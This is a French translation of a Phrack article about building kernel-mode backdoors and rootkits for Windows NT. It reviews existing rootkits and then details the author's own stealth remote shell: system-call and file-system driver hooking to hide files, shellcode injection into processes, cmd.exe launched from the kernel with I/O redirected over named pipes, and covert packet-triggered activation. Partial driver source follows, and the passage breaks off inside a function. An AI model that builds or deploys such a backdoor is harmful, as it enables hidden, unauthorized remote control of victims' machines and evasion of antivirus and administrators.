==Phrack Inc.== Volume 0x0b, Édition 0x3e, Article n°0x06 sur 0x10 |=---------------=[ Kernel-mode backdoors for Windows NT ]=--------------=| |=-----------------------------------------------------------------------=| |=-----------------=[ firew0rker ]=----------------=| |=----------------=[ the nobodies ]=---------------=| --[ Sommaire 1 - Introduction 2 - Survol des backdoors en mode noyau existantes sous windows NT 2.1 - Ntrootkit 2.2 He4Hook 2.3 - Slanret (IERK, Backdoor-ALI) 3. Invisible sur le disque, dans le registre et la mémoire 4 - Ma variante 4.1 - Shell 4.2 - Activation et communication avec le client distant 4.3 - invisible sur le disque 5 - Conclusion 6 - Epilogue 7 - Bibliographie 8 - Fichiers --[ 1 - Introduction Cet article est destiné aux familiers de l'architecture du noyau de windows NT et des principes de fonctionnement des drivers NT. Cet article examine les solutions mises en oeuvres dans le développement d'outils d'administration distante en mode noyau invisible sur windows NT. Récemment, on a eu tendance à étendre l'utilisation de Windows NT (2000, XP, 2003) de son monopole sur les PC familiaux ou de bureaux vers les serveurs. En même temps, la famille dépassée des Windows 9x est remplacée par celle des NT. Au vu de ceci, il parait évident que les outils d'administrations à distance (backdoors) et les accès invisibles (rootkits) sur la famille des Windows NT ont une certaine valeur. La plupart des outils publiés fonctionnent en mode utilisateur (user-mode) et peuvent donc être détectés par les antivirus ou par une inspection manuelle. C'est une toute autre affaire quant on considère les outils en mode noyau (kernel-mode) : Ils peuvent se cacher de n'importe quel programme utilisateur. Les programmes antivirus devraient contenir des composants en mode noyau pour pouvoir détecter les backdoors en mode noyau (kernel-mode- backdoors). Il existe des logiciels de protection contre de telles backdoors (comme IPD, "Integrity Protection Driver"), mais leur utilisation n'est pas très étendue. Cependant, les backdoors en mode noyau ne sont pas aussi courantes qu'elles le pourraient car elles sont relativement plus complexes que celles en mode utilisateur. --[ 2 - Survol des backdoors en mode noyau existantes sous windows NT Cette section survole rapidement les backdoors en mode noyau existantes sous windows NT. ----[ 2.1 - Ntrootkit Ntrootkic (c) (par Greg Hoglund et une équipe de développeurs bénévoles [1]) est un driver périphérique [device driver] pour Windows NT 4.0 et 2000. Ses possibilités (implémentées ou potentielles) sont les suivantes : - Recevoir des commandes d'un client distant. Le module rk_paquet contient une pile IP simplifiée, qui utilise une adresse IP libre dans le sous-réseau où se trouve l'hote sur lequel on a installé Ntrootkit. Son adresse MAC et son IP sont codées en dur dans le code source. Se connecter au rootkit sur cette IP se fait en utilisant une connection TCP sur n'importe quel port. Les commandes disponibles dans rk_command.c sont : ps - liste les processus help - explications et aide buffertest, echo et debugint - pour un débuguage hidedir - cache un répertoire ou des fichiers hideproc - cache un processus snifkey - espionne le clavier Il y a aussi des morceaux de code incomplets : Exécuter une commande reçue via un canal caché et lancer une appli Win-32 à partir d'un driver (une tâche difficile et compliquée). - Chiffrer tout le trafic en utilisant l'algorithme Blowfish de Schneier : rk_blowfish.c est présent mais pas (encore?) implémenté. - Self-défense (rk_defence.c) - cache les objets protégés (dans ce cas : les clefs du registre), identifiés par la chaîne "_root_"; redirige les processus lancés. Le fait de cacher les processus, les répertoires ou les fichiers comme implémenté dans rk_ioman.c est fait en détournant les fonctions suivantes : NtCreateFile ZwOpenFile ZwQueryDirectoryFile ZwOpenKey ZwQueryKey ZwQueryValueKey ZwEnumerateValueKey ZwEnumerateKey ZwSetValueKey ZwCreateKey La façon de détecter ce rootkit : Faire un accès direct aux drivers du système de fichier, lui envoyer IRP. Il y a un module de plus qui détourne les requêtes vers fichiers : rk_files.c, adopté de Filemon, mais il n'est pas utilisé. - Lancer des processus : Une implémentation non finie peut être trouvée dasn rk_command.c, une autre (qui est presque complète et pas mal) est dans rk_exec.c L'implémentation souffre que le fait d'appeler les fonction Zw*, qui sont normalement directement accessible aux drivers, sont appelées via l'interface d'appels systèmes (int 0x2E) et ça génère un problème de compatibilité entre les différentes version de la famille NT, car les numéros d'appels systèmes changent. On dirait que le développement de Ntrootik est très peu coordonné : chaque développeur faisant ce qu'il (ou elle) considère comme utile ou urgent. Ntrootkit ne permet pas une invisibilité complète (ni suffisante). Il crée des périphériques (device) nommés "Ntroot", visible en mode utilisateur. Si on veut utiliser Ntrootkit dans une optique pratique, on va avoir besoin d'un minimum d'interaction avec le système rootkité (sur lequel est installé le rootkit). Brièvement : on va avoir besoin d'un espèce de shell. Ntrootkit, lui-même, ne peut pas fournir un shell directement, bien qu'il puisse lancer un processus - par contre, les E/S (entrées/sorties) de ce processus ne seront pas redirigées. On est donc forcés de lancer quelque chose comme netcat. Ces processus peuvent être cachés, mais sa connection TCP restera visible. Le manque de possibilité de redirection d'E/S est un gros problème. Néanmoins, le développement de Ntrootkit est toujours en progrès, et il deviendra probablement un outil complet pour faire de l'administration distante complètement invisible. ----[ 2.2 He4Hook Cette description est basée sur [2]. Le système de fichier a été détourné de deux manières différentes dans les version 2.15b6 et antérieures. On ne peut utiliser qu'une seule des deux à la fois, et à partir de la version 2.15b6, la première méthode de détournement a été supprimée. Méthode A : détourner les appels systèmes : =========================================== ZwCreateFile, ZwOpenFile - version driver 1.12 et de la 1.17 à la 2.15beta6 IoCreateFile - de la 1.13 à la 2.15beta6 ZwQueryDirectoryFile, ZwClose - avant 2.15beta6 Presque toutes les fonctions exportées (Zw*) contiennent le corps de fonction suivant : mov eax, NumeroFonction lea edx, [esp+04h] int 2e ; interface système Le NumeroFonction est le numéro de la fonction appelée dans la table des appels systèmes (qui est elle-même accessible via la variable globale KeServiceDescriptorTable). Cette variable pointe vers la structure suivante : typedef struct SystemServiceDescriptorTable { SSD SystemServiceDescriptors[4]; } SSDT, * LPSSDT; Autres structures : typedef VOID * SSAT[]; typedef unsigned char SSTPT[]; typedef SSTAT *LPSSTAT; typedef SSTPT *LPSSTPT; typedef struct SystemServiceDescriptor { LOSSTAT lpSystemServiceTableAddressTable; ULONG dwFirstServiceIndex; ULONG dwSystemServiceTableNumEntries; LPSSTPT lpSystemServiceTableParameterTable } SSD, *LPSSD ; La DescriptorTable pointée par KeServiceDescriptorTable est accessible uniquement en mode noyau. En mode utilisateur, il y a quelque chose appellé KeServiceDescriptorTableShadow -- malheureusement, elle n'est pas exportée. Les services de base sont KeServiceDescriptorTable->SystemServiceDescriptor[0] KeServiceDescriptorTableShadow->SystemServiceDescriptors[0] L'API des services en mode noyau est dans KeServiceDescriptorTableShadow->SystemServiceDescriptors[1] Les autres éléments de cette table étaient libres quand [2] a été écrit, dans toutes les versions jusqu'à WinNT4(SP3-6) et Win2k buil 2195. Chaque élément de cette table est une structure SSID, qui contient les données suivantes : lpSystemServiceTableAddressTable - Un pointeur vers un tableau d'adresses de fonctions qui seront appelées si un appel système correspondant est effectué. dwFirstServiceIndex - Début de l'index de la première fonction. dwSystemServiceTableNumEntries - Nombre de services dans la table. lpSystemServiceTableParameterTable - Un tableaux de bytes spécifiant le nombre d'octets de la pile qui doivent êtres passés comme paramètres. Pour pouvoir détourner un appel système, He4Hook remplace l'adresse stockée dans KeServiceDescriptorTable->SystemServiceDescriptor[0] .lpSystemServiceTableAddressTableIn par un pointeur vers sa propre table. On peut utiliser He4Hook en ajoutant notre propre service à la table des appels systèmes. He4Hook met à jour les deux tables : - KeServiceDescriptorTable - KeServiceDescriptorTableShadow. Si on avait uniquement mis à jour KeServiceDescriptorTable, les nouveaux services n'auraient pas été disponibles en mode utilisateur. Pour localiser KeServiceDescriptorTableShadow, la technique suivante est utilisée : La fonction KeAddSystemServiceTable peut être utilisée pour ajouter un service au noyau. Elle peut ajouter des services dans les deux tables. Prenant en compte que leur Oième descripteur sont identiques, il est possible, en scannant le code de la fonction KeAddSystemServiceTable, de trouver l'adresse de la table shadow. Vous pouvez voir comment c'est implémenté dans le fichier He4HookInv.c, fonction FindShadowTable(void). Si cette méthode échoue pour une quelconque raison, une adresse codée en dur est prise (KeServiceDescriptorTable-Ox230) comme adresse de la table shadow. Cette adresse n'a pas changé depuis WinNT Sp3. Un autre problème est la recherche d'un index correct dans le tableau d'adresses de fonctions. Comme presque toutes les fonctions Zw* ont des premières instructions identiques (mov eax, NumeroFonction), on peut récupérer facilement un pointeur vers le numéro de fonction en ajoutant un octet à l'adresse exportée par ntoskrnl.exe Méthode B : (pour la version driver 2.11 et supérieures) ======================================================== Les tables des entêtes [callback tables] qui se trouvent dans le DRIVER_OBJECT du driver du système de fichier sont patchées : les en-têtes IRP [IRP handlers] des drivers dont on a besoin sont remplacés. Ceci inclu le remplacement du pointeur vers l'en-tête des fonctions de base (DRIVER_OBJECT->MajorFunction) ainsi que le remplacement des pointeurs vers la procédure de déchargement [unload procedure] (DRIVER_OBJECT->DriverUnload). Les fonctions suivantes sont gérées : IRP_MJ_CREATE IRP_MJ_CREATE_NAMED_PIPE IRP_MJ_CREATE_MAILSLOT IRP_MJ_DIRECTORY_CONTROLL -> IRP_MN_QUERY_DIRECTORY Pour une description plus détaillée de la rediretion des opérations sur les fichiers, référez-vous à [2]. ----[ 2.3 - Slanret (IERK, Backdoor-ALI) Le code source de celui-ci n'est pas disponible - il a été originallement découvert par un administrateur sur son réseaux. C'est un driver normal ("ierk8243.sys") qui cause des BODs périodiquement, et est visible en tant que service appelé "Virtual Memory Manager". "Slanret est techniquement un simple composant d'un rootkit. Il vient intuitivement avec une backdoor : un serveur de 27 Kilo octets appellé "Krei" qui écoute, ouvre un port et fournit aux hackers un accès distant au système. Le composant Slanret est une fonction d'invisibilité de 7 kilo octets qui se fiche dans le système comme un driver de périphérique, et accepte les commandes du serveur, l'instruisant sur les fichiers et les processus qu'il doit cacher." [3] ----[ 3. Invisible sur le disque, dans le registre et la mémoire Au plus bas les E/S sont interceptées par le rootkit, plus il est habituellement difficile de détecter leur présence. On pourrait penser qu'une place efficace pour placer ses interception serait les opération bas niveau du disque (lecture/écriture de secteurs). Ceci demanderait de gérer tous les systèmes de fichiers possibles comme : FAT16, FAT32, NTFS. Bien que le FAT soit relativement simple à comprendre (et certains virus utilisent une méthode similaire), une implémentation de quelque chose de similaire sur WinNT est un travail de fou. Une deuxième solution consisterait à intercepter diverses fonctions du système de fichier : modifier DriverObject->MajorFunction et FastIoDispatch dans la mémoire ou modifier le driver sur le disque. Ça a l'avantage d'être relativement universel et c'est la méthode utilisée dans HE4HookInv. Une troisième possibilité consiste à placer un filtre du driver du système de fichier (FSD - FileSystem Driver). Il n'y a pas d'avantage par rapport à la méthode précédente, mais à le défaut d'être plus visible (Filemon a utilisé cette technique). Les fonctions Zw* et Io* peuvent être interceptées autant en manipulant la KeServiceDescriptorTable qu'en modifiant directement le corps de la fonction. Il est habituellement facile de détecter qu'un pointeur dans KeServiceDescriptorTable pointe vers une zone étrange ou que le corps d'une fonction a changé. Un filtre de driver est aussi facile à détecter en appellant IoGetDeviceObjectPointer et de vérifier DEVICE_OBJECT->StackSize. Tous les drivers normaux ont leur propres clefs dans le registre, c'est à dire HKEY_LOCALMACHINE\SYSTEM\CurrentControlSet\Services. Les rootkits détaillés plus haut peuvent cacher les clefs du registre, mais si le système est démarré "proprement", un administrateur peut voir tout ce qui avait été caché. On peut aussi charger un rootkit en utilisant ZwSetSystemInformation(SystemLoadAndCallImage) sans avoir besoin de créer une clef dans le registre. Un exemple de cette technique peut être trouvé dans [6]. Mettre le programme qui charge le rootkit dans un fichier séparé est trop voyant. Il serait plus avisé de mettre ce code dans un exécutable quelconque qui fait partie du démarrage du système. On peut utiliser n'importe quel driver ou n'importe quel programme utilisateur avec suffisamment de privilèges, ou encore une DLL à laquelle on se lie. On doit cependant se poser une question : si les nouveaux changement introduits doivent être caché, pourquoi faire deux procédures similaires mais distinctes (cacher les changements fait sur un fichier et cacher l'existance du fichier) au lieu de se limiter à une seule ? Dans la plupart des cas, on peut se cibler sur null.sys. Implémenter ses fonctionnalités est aussi facile qu'un "hello world", et c'est pourquoi il est habituellement remplacé par un troyen. Mais si nous allons avoir besoin d'une procédure pour cacher les changements sur un fichier, nous pouvons remplacer n'importe quel driver avec un troyen qui va substituer le contenu du fichier remplacé par son contenu original aux yeux de tout le monde (y compris le noyau). Au démarrage, il se recopiera quelque part et lancera un thread à cet endroit. Ceci rendra le troyen quasiment indétectable en mémoire : aucun utilitaire système ne peut plus voir le driver, puisque c'est juste une page mémoire anonyme parmi tant d'autres. On n'a pas non plus besoin d'un thread en utilisant une fonction IRP interceptée de n'importe quel driver (DriverObject->MajorFunction[IRP_MJ_xxx]). On peut aussi utiliser IoQueueWorkItem et KeInsertQueueDpc, et aucun thread supplémentaire ne sera visible par le gestionnaire de taches. Une fois que c'est fait, le troyen peut désactiver le driver à partir duquel il a été lancé et le relancer dans sa version normale (inchangée). Dans ce cas, on garantira un haut niveau d'invisibilité réalisée par des moyens relativement simples. Le contenu originel du fichier manipulé pourrait par exemple être stocké dans le fichier du troyen, après le troyen lui-même. Il sera alors suffisant d'intercepter toutes les requête au FSD (IRP et FastIO) et à chaque accès, changer la position (et la taille du fichier). (CurrentIrpStackLocation->Parameters.*.ByteOffset) --[ 4 - Ma variante ----[ 4.1 - Shell À la base, je voulais faire quelque chose d'aussi simple qu'un code standard en mode utilisateur : passer un descripteur de socket pour stdin/ stdout/stderr au nouveau processus cmd.exe. Je n'ai pas trouvé de façon d'ouvrir de socket utile à partir d'un driver, puisque l'interface avec le driver AFD (coeur de winsock en mode noyau) n'est pas documentée. Reverse engineerer son fonctionnement n'était pas possible non plus car, du à des changements entre versions, ma technique ne serait pas fiable. J'ai du trouver une autre façon. Première variante ================= On pourrait lancer notre code dans le contexte d'un autre processus, utilisant un shell-code similaire à ceux utilisés dans les exploits. Le code pourrait attendre une connection TCP et lancer cmd.exe avec les E/S redirigées. J'ai choisi cette technique quand j'en ai eu marre d'essayer de lancer un processus win32 complet à partir d'un driver. Le shellcode est indépendant de sa position, recherche kernel32.dll en mémoire et cherche la librairie winsock. Tout ce qui doit être fait, c'est d'injecter le shellcode dans l'espace d'adressage d'un processus et de passer le contrôle au point d'entrée du shellcode. Attention, en faisant cela, le fonctionnement normal du processus ne doit pas être interrompus, parce qu'un problème dans un processus système critique causerait une erreur dans le système complet. Donc, nous devons allouer de la mémoire, y écrire un shellcode, et créer un thread avec EIP = le point d'entrée du shellcode. Un code l'effectuant est disponible dans le fichier joint shell.cpp. Malheureusement, quand CreateProcess est appelé par le thread lancé de cette manière, il échoue, sûrement car quelque chose dont dépend CreateProcess n'est pas initialisé proprement dans le contexte de notre thread. Nous devons donc appeller CreateProcess à partir d'un contexte de thread qui a tout ce que CreateProcess a besoin -- nous sommes en train de créer un thread qui dépend du processus que nous sommes en train d'infiltrer (j'ai utilisé SetThreadContext pour ça). On doit restaurer l'état du thread avant de faire une interruption pour qu'il puisse continuer son travail normal. Nous avons donc besoin de : sauvegarder le contexte du thread avec GetThreadContext, mettre EIP dans notre contexte avec SetThreadContext, attendre que le code termine et alors, restaurer le thread initial. Le reste est un shellcode classique pour WindowsNT (code complet dans dummy4.asm). Il reste un problème non résolu : si le thread est dans un état d'attente, il ne redémarrera pas tant qu'il ne sera pas réveillé. Utiliser ZwAlertThread ne fera rien si le thread est dans un état d'attente inaltérable. Heureusement, le thread dans service.exe fonctionne sans problème -- ce qui n'implique pas que ça sera toujours le cas dans le future, j'ai donc continué mes recherches : Seconde variante ================ Les choses ne sont pas aussi simples que [4] le laisse à penser. Créer un processus Win32 complet requiert de l'enregistrer dans le sous système CSRSS. C'est fait en utilisant CsrClientCallServer(), qui reçoit toutes les informations nécessaires au sujet du processus (descripteur, TID, PID, drapeaux). La fonction appelle ZwRequestWaitReplyPort, qui reçoit un descripteur d'un port ouvert juste avant pour les connections avec CSRSS. Ce port n'est pas ouvert dans le contexte du processus SYSTEM. L'ouvrir ne marche jamais (ZwConnectPort retourne STATUS_PORT_CONNECTION_REFUSED). Bidouiller avec SERCURITY_QUALITY_OF_SERVICE n'aide pas. Quand j'ai désassemblé ntdll.dll, j'ai vu que les appels à ZwConnectPort étaient précédés par ZwCreateSection. Mais je n'ai pas eu le temps ni l'envie de bidouiller avec cette section. Voici le code qui ne fonctionnait pas : VOID InformCsrss(HANDLE hProcess,HANDLE hThread,ULONG pid,ULONG tid) { CSRMSG csrmsg; HANDLE hCurProcess; HANDLE handleIndex; PVOID p; _asm int 3; UNICODE_STRING PortName; RtlInitUnicodeString(&PortName,L"\\Windows\\ApiPort"); static SECURITY_QUALITY_OF_SERVICE QoS = {sizeof(QoS), SecurityAnonymous, 0, 0}; /*static SECURITY_QUALITY_OF_SERVICE QoS = {0x77DC0260, (_SECURITY_IMPERSONATION_LEVEL)2, 0x120101, 0x10000};*/ DWORD ret=ZwConnectPort(&handleIndex,&PortName,&QoS,NULL, NULL,NULL,NULL,NULL); if (!ret) { RtlZeroMemory(&csrmsg,sizeof(CSRMSG)); csrmsg.ProcessInformation.hProcess=hProcess; csrmsg.ProcessInformation.hThread=hThread; csrmsg.ProcessInformation.dwProcessId=pid; csrmsg.ProcessInformation.dwThreadId=tid; csrmsg.PortMessage.MessageSize=0x4c; csrmsg.PortMessage.DataSize=0x34; csrmsg.CsrssMessage.Opcode=0x10000; ZwRequestWaitReplyPort(handleIndex,(PORT_MESSAGE*)&csrmsg, (PORT_MESSAGE*)&csrmsg); } } La solution au problème était assez évidente ; passer dans un contexte où le port est ouvert, comme n'importe quel processus Win32 fonctionnant déjà. J'ai inséré KeAttachProcess(HelperProcess) avant d'appeler l'InformCsrss de Nebbet, et KeDetachProcess après. Le rôle de HelperProcess a été tenu par calc.exe. Quand j'ai essayé d'utiliser KeAttachProcess de cette façon, ça n'a pas marché quand-même : le contexte a été changé (ce qu'on pouvait voir en utilisant la commande proc dans SoftICE), mais CsrClientCallServer retournait STATUS_ILLEGAL_FUNCTION. Il n'y a qu'oncle Bill qui sache ce qui s'est passé dans CSRSS. Quand j'ai essayé d'encadrer toute la création de processus entre KeAttachProcess/KeDetachProcess, j'ai obtenu l'erreur suivante lors de l'appel à ZwCreateProcess : "Break Due to KeBugCheckEx (Unhandled kernel mode exception) Error=5 (INVALID_PROCESS_ATTACH_ATTEMPT) ... ". Une manière différente d'exécuter du code dans le contexte d'un processus arbitraire est APC. L'APC peut se faire en mode noyau ou utilisateur. Puisque seul le mode noyau permet de passer outre l'état d'attente inaltérable, tout le code de création de processus doit être fait en mode noyau. Le code de Nebbet fonctionne normalement à : IRQL == APC_LEVEL L'exécution de code dans le contexte d'un processus Win32, dans le sens d'APC, est implémenté dans la fonction StartShell() du fichier ShellAPC.cpp. Interation avec le processus ============================ Lancer un processus n'est pas tout. La backdoor doit quand même pouvoir discuter avec lui : il est nécessaire de rediriger ses stdin/ stdout/stderr vers notre driver. On pourrait faire ça comme la plupart des systèmes "driver+app" : créer un périphérique visible en mode utilisateur, l'ouvrir avec ZwOpenFile et passer le descripteur au processus qu'on lance (stdin/stdout/stderr). Mais un périphérique qui a un nom n'est pas très discret, même si nous créons automatiquement un nom aléatoire. C'est pour ça que j'ai choisi d'utiliser des cannaux nommés [nammed pipes] à la place. Windows NT utilise des cannaux nommés au format Win32Pipes.%08x%08x (où %08x est un nombre de 8 chiffres) pour émuler des cannaux anonymes. Si nous créons un de ces cannaux de plus, personne ne le remarquera. Habituellement, on utilise deux cannaux anonymes pour rediriger les E/S d'une application Win32 en console, mais quand on utilise les cannaux nommés, un seul est suffisant car il est bidirectionnel. Le driver doit donc créer un canal nommé bidirectionnel, et cmd.exe devra utiliser son descripteur pour stdin/stdout/stderr. Le descripteur peut être ouvert autant en mode noyau qu'en mode utilisateur. La version finale utilise la première version, mais j'ai aussi expérimenté la seconde -- être capable d'implémenter plusieurs variantes aidera à éviter les antivirus. Le lancement d'un processus en mode kernel avec ses E/S redirigées a été complètement implémenté dans NebbetCreateProcess.cpp. Il y a deux différences majeures entre mon code et celui de Nebbet : Les fonctions, qui sont exportées à partir de ntoskrn1.exe au lieu de ntdll sont, dynamiquement importées (voir NtdllDynamicLoader.cpp). Le descripteur vers le pipe nommé est ouvert avec ZwOpenFile() et passé au nouveau processus avec ZwDuplicateObject avec le drapeau DUPLICATE_CLOSE_SOURCE. Pour ouvrir le canal nommé en mode utilisateur, j'ai injecté le code dans un programme qui se lance. J'ai joint le patch (NebbetCreateProcess.diff) dans un but purement éducatif. Il ajoute un morceau de code à un processus en train de démarrer. Le patch écrit du code (généré par un compilateur C++) dans la pile d'un processus. Pour rendre le code indépendant, il y a une fonction qui prend en paramètre un pointeur vers une structure contenant toutes les données utiles (l'adresse de l'API, ...). La structure et son pointeur sont écrit dans la pile avec le code de la fonction elle-même. L'ESP du processus qui démarre est mis 4 octets en dessous du pointeur vers les paramètres de la fonction, et EIP est mis au point d'entrée. Une fois que le code est exécuté, il termine par un CALL vers le point d'entrée original. Cet exemple peut être modifié pour permettre d'injecter du code dans un processus lancé en mode utilisateur à partir du mode noyau. ----[ 4.2 - Activation et communication avec le client distant Si une socket en écoute est ouverte en permanence (et visible avec netstat), elle sera bientôt découverte. Même cacher la socket à netstat est insuffisant puisqu'un simple balayage de port peut les découvrir. Pour rester invisible, une backdoor ne doit laisser aucun port ouvert visible localement ou à distance. Il est nécessaire d'utiliser un paquet spécial, qui d'un côté doit être reconnaissable sans ambiguïté par la backdoor comme signal d'activation, et de l'autre, ne pas être trop bizarre pour éviter de déclencher une alerte ou être filtré par le firewall. Le signal d'activation pourrait par exemple être un paquet contenant d'autres paquets à n'importe quelle place (en-tête ou données) -- toutes les caractéristiques du paquet (protocol, port, ...) devraient être ignorées. Ce qui permet, pour un maximum de flexibilité, d'éviter les filtrages de paquets trop agressifs. Évidement, nous devons implémenter une sorte de sniffer pour détecter ce genre de paquets. En pratique, nous avons plusieurs choix de l'implémentation du sniffer : 1) Le driver du protocole NDIS (avantage : possibilité non seulement de réception mais aussi d'envoi de paquet - et donc une possibilité d'établir un canal secret avec un client distant; désavantage : difficultés à supporter divers types de cartes réseaux) - appliqué dans ntrootkit ; 2) Utiliser les services fournis par IpFilterDriver sous W2k et supérieur (avantage : implémentation simple et indépendance de la couche physique ; désavantage : en réception uniquement) ; 3) Mettre un filtre sur un driver réseau, par lequel les paquets passent ; 4) En appeler directement au drivers d'une autre manière pour recevoir et envoyer des paquets (avantage : permet de faire ce qu'on veut ; désavantage : zone non explorée). J'ai choisi la variante 2 pour sa simplicité et sa convenance avec les deux variantes décrites de démarrage de shell. IpFilterDriver n'est utilisé que pour l'activation, après, les connections sont effectuées en TCP, dans le sens de TDI. Un exemple d'utilisation de IpFilterDriver peut être trouvé dans Filtering.cpp et MPFD_main.cpp. InitFiltering() charge IpFilterDriver s'il n'est pas déjà chargé. alors, il appelle SetupFilterging, qui met un filtre avec IOCTL_PF_SET_EXTENSION_POINTER IOCTL. PacketFilter() est alors appelé sur chaque paquet IP. Si un mot clef est détecté StartShellEvent a lieu et implique le démarrage d'un shell. La variante utilisant un shellcode dans un processus existant fonctionne avec le réseaux en mode utilisateur, nous n'avons donc pas besoin de décrire les choses en détail. Un shell TCP en mode noyau est implémenté dans NtBackd00r.cpp. Quand cmd.exe est démarré à partir d'un driver avec les E/S redirigées, le lien est maintenu par le driver. J'ai utilisé l'exemple tcpecho comme base pour le module de communication pour ne pas perdre de temps à coder un client TDI entièrement. DriverEntry() initialise TDI, crée une socket en écoute et un périphérique anonyme pour IoQueueWorkItem. Pour chaque connection, on crée une instance de la classe Session. Le gestionnaire d'événement OnConnect effectue la séquence d'opération pour créer un processus. Tant que ce gestionnaire est appellé avec IRQL=DISPATCH_LEVEL, on ne peut pas faire toutes les opérations nécessaires à l'intérieur. Il est aussi impossible de démarrer un thread parce que PsCreateSystemThread doit être appelé uniquement en PASSIVE_LEVEL d'après le DDK. C'est pour ça que le gestionnaire OnConnect appelle IoAllocateWorkItem et IoQueueWorkItem pour permettre de faire toutes les opérations suivantes dans le gestionnaire WorkItem (la fonction ShellStarter) en PASSIVE_LEVEL. ShellStarter appelle StartShell() et crée un thread qui travail (DataPumpThread) et deux événements pour notifier l'arrivée de paquets et la complétion des pipes d'E/S nommés. L'interaction entre le WorkItem thread et la classe Session a été construit en prenant en compte des possibles déconnections subites et la libération de la Session : la synchronisation est accomplie en désactivant les interruptions (c'est équivalent à lancer IRQL du plus haut) et dans le genre de la classe DriverStudio (avec SpinLock dedans). Le thread utilise une copie de certaines données qui doivent rester disponibles même après que l'instance de Session ait été supprimée. Au départ, DataPumpThread lance une opération de lecture asynchrone (ZwReadFile) sur le pipe nommé -- l'événement hPipeEvents[1] notifie sa complétion. L'autre événement hPipeEvent[0] notifie l'arrivée de données par le réseau. Après cela, des ZwWaitForMultipleObjects sont exécutés en boucles pour attendre l'un de ces événements. En fonction de l'événement signalé, le thread fait une lecture à partir du pipe nommé et fait un envoi de données au client, ou fait une lecture à partir du FIFO et écrit dans le pipe. Si le drapeau de fin est mis, le thread ferme tout les descripteurs, termine cmd.exe et se termine lui-même. L'arrivée de données est signalé par l'événement hPipeEvent[0] dans les gestionnaires Session::OnRecieve et Session::OnRecieveComplete. Il est aussi utilisé en conjonction avec le drapeau de fin pour notifier au thread sa terminaison. La réception de données à partir du réseau est mise en tampon dans la FIFO pWBytePipe. DataPumpThread lit les données à partir de la FIFO vers des tampons temporaires qui sont alloués pour chaque opération d'E/S et écrit les données en asynchrone vers les pipes (ZwWriteFile). Les buffers sont libéré de manière asynchrone dans le gestionnaire ApcCallbackWriteComplete. Le transfert des données des pipes vers le réseau est aussi fait à travers des buffers temporaires qui sont alloués avant ZwReadFile et libérés dans Session::OnSendComplete. Parcours des données et algorithme de gestion des buffers temporaires : NamedPipe - (new send_Buf; ZwReadFile)-> temporary buffer send_buf - (send)-> Network -> OnSendComplete{delete send_buf} Network - (Onrecieve)-> pWBytePipe - (new rcv_buf)-> temporary buffer rcv_buf (ZwWriteFile)-> NamedPipe -> ApcCallbackWriteComplete{delete rcv_buf} Dans le gestionnaire Session::OnReceive, on écrit des données dans la FIFO et on notifie DataPumpThread de leur arrivée. Si le le transport à plus de données disponibles que prévues, un autre buffer est alloué pour lire le reste. Quand le transport est fini - en asynchrone - le gestionnaire OnRecieveComplete() est appelé, qui fait la même chose que OnRecieve. ----[ 4.3 - invisible sur le disque J'ai implémenté un module de démo simple (fichier Intercept.cpp) qui intercepte diverses fonctions d'un driver de système de fichier pour cacher les N premiers octets d'un fichier spécifié. Pour intercepter le FSD il faut appeler, par exemple, Intercept(L"\\FileSystem\\FastFat\\"). Il n'est nécessaire d'intercepter que 2 FSDs : FastFat et Ntfs, cat NT peut booter à partir de ces systèmes de fichiers. Intercept() remplace certaines fonctions du driver (pDriverObject->MajorFunction[...], pDriverObject->FastIoDispatch->...). Une fois que le driver intercepté gère un appel à IRP et FastIo, notre interception de fonction correspondante modifie la taille et l'offset du fichier. Tous les programmes en mode utilisateur verront le fichier N octets plus petit que l'original, contenant les octets à partir de N jusqu'à la fin. Ça nous permet d'implémenter les trucs de la partie 3. --[ 5 - Conclusion Dans cet article, j'ai comparé 3 backdoors en mode noyau existantes pour windows NT du point de vue du programmeur, présenté quelques idées sur comment rendre une backdoor plus invisible ainsi que mon aventure personnelle dans la création de ma propre backdoor en mode noyau. Ce que nous n'avons pas fait est la description de la méthode pour cacher une socket et les connections TCP aux utilitaires comme netstat et fport. Netstat utilise SumpUtilOidCpy(), et fport appelle directement le driver (\Device\Udp et \Device\Tcp). Pour leur cacher quelque chose ou à d'autres utilitaires similaires, il est nécessaire d'intercepter le driver en question avec une des méthode présentée dans la section "Invisible sur le disque, dans le registre et la mémoire". Je n'ai pas encore exploré ce problème. Ces considérations font probablement l'objet un article séparé. Un conseil à ceux qui décideraient d'essayer cette voie : commencez par l'étude du source de IpLog [5]. --[ Epilogue Quand/Si cet article est/sera publié dans Phrack, l'article lui-même (probablement amélioré et agrandi), sa version russe originale, et tout le code et les exemples utilisés seront publiés sur notre site http:/ www.nteam.ru --[ 7 - Bibliographie 1. http://rootkit.com 2. "LKM-attack on WinNT/Win2K" http://he4dev.e1.bmstu.ru/He4ProjectRepositary/HookSysCall/ 3. "Windows rootkit a Stealthy Threat" http://www.securityfocus.com/news/2879 4. Garry Nebbet. Windows NT/2000 native API reference. 5. "IP logger pour WinNT/Win2k" http://195.19.33.68/He4ProjectRepositary/IpLog/ --[ 8 - Fichiers ----[ 8.1 - Shell.CPP #include "ntdll.h" #include "DynLoadFromNtdll.h" #include "NtdllDynamicLoader.h" #if (DBG) #define dbgbkpt __asm int 3 #else #define dbgbkpt #endif const StackReserve=0x00100000; const StackCommit= 0x00001000; extern BOOLEAN Terminating; extern "C" char shellcode[]; extern "C" const CLID_addr; extern "C" int const sizeof_shellcode; namespace NT { typedef struct _SYSTEM_PROCESSES_NT4 { // Information Class 5 ULONG NextEntryDelta; ULONG ThreadCount; ULONG Reserved1[6]; LARGE_INTEGER CreateTime; LARGE_INTEGER UserTime; LARGE_INTEGER KernelTime; UNICODE_STRING ProcessName; KPRIORITY BasePriority; ULONG ProcessId; ULONG InheritedFromProcessId; ULONG HandleCount; ULONG Reserved2[2]; VM_COUNTERS VmCounters; SYSTEM_THREADS Threads[1]; } SYSTEM_PROCESSES_NT4, *PSYSTEM_PROCESSES_NT4; } BOOL FindProcess(PCWSTR process, OUT NT::PCLIENT_ID ClientId) { NT::UNICODE_STRING ProcessName; NT::RtlInitUnicodeString(&ProcessName,process); ULONG n=0xFFFF; PULONG q = (PULONG)NT::ExAllocatePool(NT::NonPagedPool,n*sizeof(*q)); while (NT::ZwQuerySystemInformation( NT::SystemProcessesAndThreadsInformation, q, n * sizeof *q, 0)) { NT::ExFreePool(q); n*=2; q = (PULONG)NT::ExAllocatePool (NT::NonPagedPool,n*sizeof(*q)); } ULONG MajorVersion; NT::PsGetVersion(&MajorVersion, NULL, NULL, NULL); NT::PSYSTEM_PROCESSES p = NT::PSYSTEM_PROCESSES(q); BOOL found=0; char** pp=(char**)&p; do { 